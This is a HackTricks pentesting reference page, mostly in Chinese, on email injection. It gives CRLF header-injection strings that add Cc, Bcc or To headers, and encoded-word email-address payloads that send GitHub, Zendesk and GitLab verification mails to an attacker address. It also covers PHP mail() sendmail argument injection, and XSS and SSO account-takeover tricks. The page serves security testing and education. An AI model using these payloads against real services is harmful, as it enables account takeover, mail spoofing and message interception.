Email Injections

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 今天获取访问权限:

支持 HackTricks

注入已发送的电子邮件

在发件人参数后注入 Cc 和 Bcc

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

消息将被发送到收件人和收件人1账户。

注入参数

From:sender@domain.com%0ATo:attacker@domain.com

消息将发送到原始收件人和攻击者账户。

注入主题参数

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

假主题将被添加到原始主题中,在某些情况下将替换它。这取决于邮件服务的行为。

更改消息的主体

注入一个两行换行符,然后写下您的消息以更改消息的主体。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 函数利用

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

第五个参数 ($additional_parameters)

本节将基于假设攻击者控制了此参数的情况下如何滥用此参数

此参数将被添加到 PHP 用于调用二进制 sendmail 的命令行中。然而,它将通过函数 escapeshellcmd($additional_parameters) 进行清理。

在这种情况下,攻击者可以注入 sendmail 的提取参数

/usr/sbin/sendmail 实现中的差异

sendmail 接口是由系统上安装的 MTA 邮件软件(Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,基本功能(如 -t -i -f 参数)保持相同,但其他功能和参数根据安装的 MTA 有很大差异。

以下是 sendmail 命令/接口的不同手册页的一些示例:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

  • Postfix MTA: http://www.postfix.org/mailq.1.html

  • Exim MTA: https://linux.die.net/man/8/eximReferences

根据sendmail 二进制文件的来源,发现了不同的选项来滥用它们并泄露文件或甚至执行任意命令。查看如何在 https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

在电子邮件名称中注入

请注意,如果您设法在具有任意域名的服务中创建帐户(如 Github、Gitlab、CloudFlare Zero trust...)并通过在您的邮件地址中接收验证电子邮件来验证它,您可能能够访问受害公司敏感位置

被忽略的电子邮件部分

符号:+、-{} 在少数情况下可以用于标记,并被大多数电子邮件服务器忽略

  • 例如 john.doe+intigriti@example.com → john.doe@example.com

括号 () 中的注释 在开头或结尾也会被忽略

  • 例如 john.doe(intigriti)@example.com → john.doe@example.com

白名单绕过

引号

IP

您还可以使用方括号中的 IP 作为域名:

  • john.doe@[127.0.0.1]

  • john.doe@[IPv6:2001:db8::1]

电子邮件编码

本研究 中所述,电子邮件名称也可以包含编码字符:

  • PHP 256 溢出:PHP chr 函数将继续向字符添加 256,直到它变为正数,然后执行操作 %256

  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

此技巧的目的是以 RCPT TO:<"collab@psres.net>collab"@example.com> 这样的注入结束 这将把验证电子邮件发送到与预期不同的电子邮件地址(因此在电子邮件名称中引入另一个电子邮件地址并在发送电子邮件时破坏语法)

不同的编码:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6  x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

  • 注意编码的 @ 为 =40,编码的 >=3enull=00

  • 它将把验证邮件发送到 collab@psres.net

  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

  • 与之前相同的技巧,但在开头添加了一些常规引号,并在编码的 @ 之前添加了编码引号 =22,然后在下一个邮件之前开始和结束一些引号,以修复 Zendesk 内部使用的语法

  • 它将把验证邮件发送到 collab@psres.net

  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

  • 注意使用下划线作为分隔地址的空格

  • 它将把验证邮件发送到 collab@psres.net

  • Punycode: 使用 Punycode 可以在 Joomla 中注入标签 <style 并利用它通过 CSS 外泄窃取 CSRF 令牌。

Tooling

  • 有一个 Burp Suite Turbo Intruder 脚本 用于模糊这些组合,以尝试攻击电子邮件格式。该脚本已经有潜在的有效组合。

  • 还可以使用 Hackvertor 创建电子邮件拆分攻击

Other vulns

Third party SSO

XSS

一些服务如 githubsalesforce 允许 您创建一个 带有 XSS 负载的电子邮件地址。如果您可以 使用这些提供商登录其他服务,而这些服务 没有正确清理 电子邮件,您可能会导致 XSS

Account-Takeover

如果 SSO 服务 允许您 创建一个不验证给定电子邮件地址的帐户(如 salesforce),然后您可以使用该帐户 登录到一个信任 salesforce 的不同服务,您可能会访问任何帐户。 注意,salesforce 指示给定的电子邮件是否经过验证,但应用程序应该考虑这一信息。

Reply-To

您可以使用 From: company.comReplay-To: attacker.com 发送电子邮件,如果由于电子邮件是 内部地址发送的而发送了任何 自动回复,则 攻击者 可能能够 接收响应

Hard Bounce Rate

某些服务,如 AWS,实施一个称为 Hard Bounce Rate 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。

hard bounce 指的是 电子邮件 被退回给发件人,因为收件人的地址无效或不存在。这可能由于多种原因发生,例如 电子邮件 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 电子邮件

在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退回(由于无效地址或域名等原因),这将意味着 10% 的硬退回率。达到或超过此比率可能会触发 AWS SES(简单电子邮件服务)阻止或暂停您的电子邮件发送能力。

保持低硬退回率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。

有关更详细的信息,可以参考 AWS 关于处理退回和投诉的官方文档 AWS SES Bounce Handling

References

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Last updated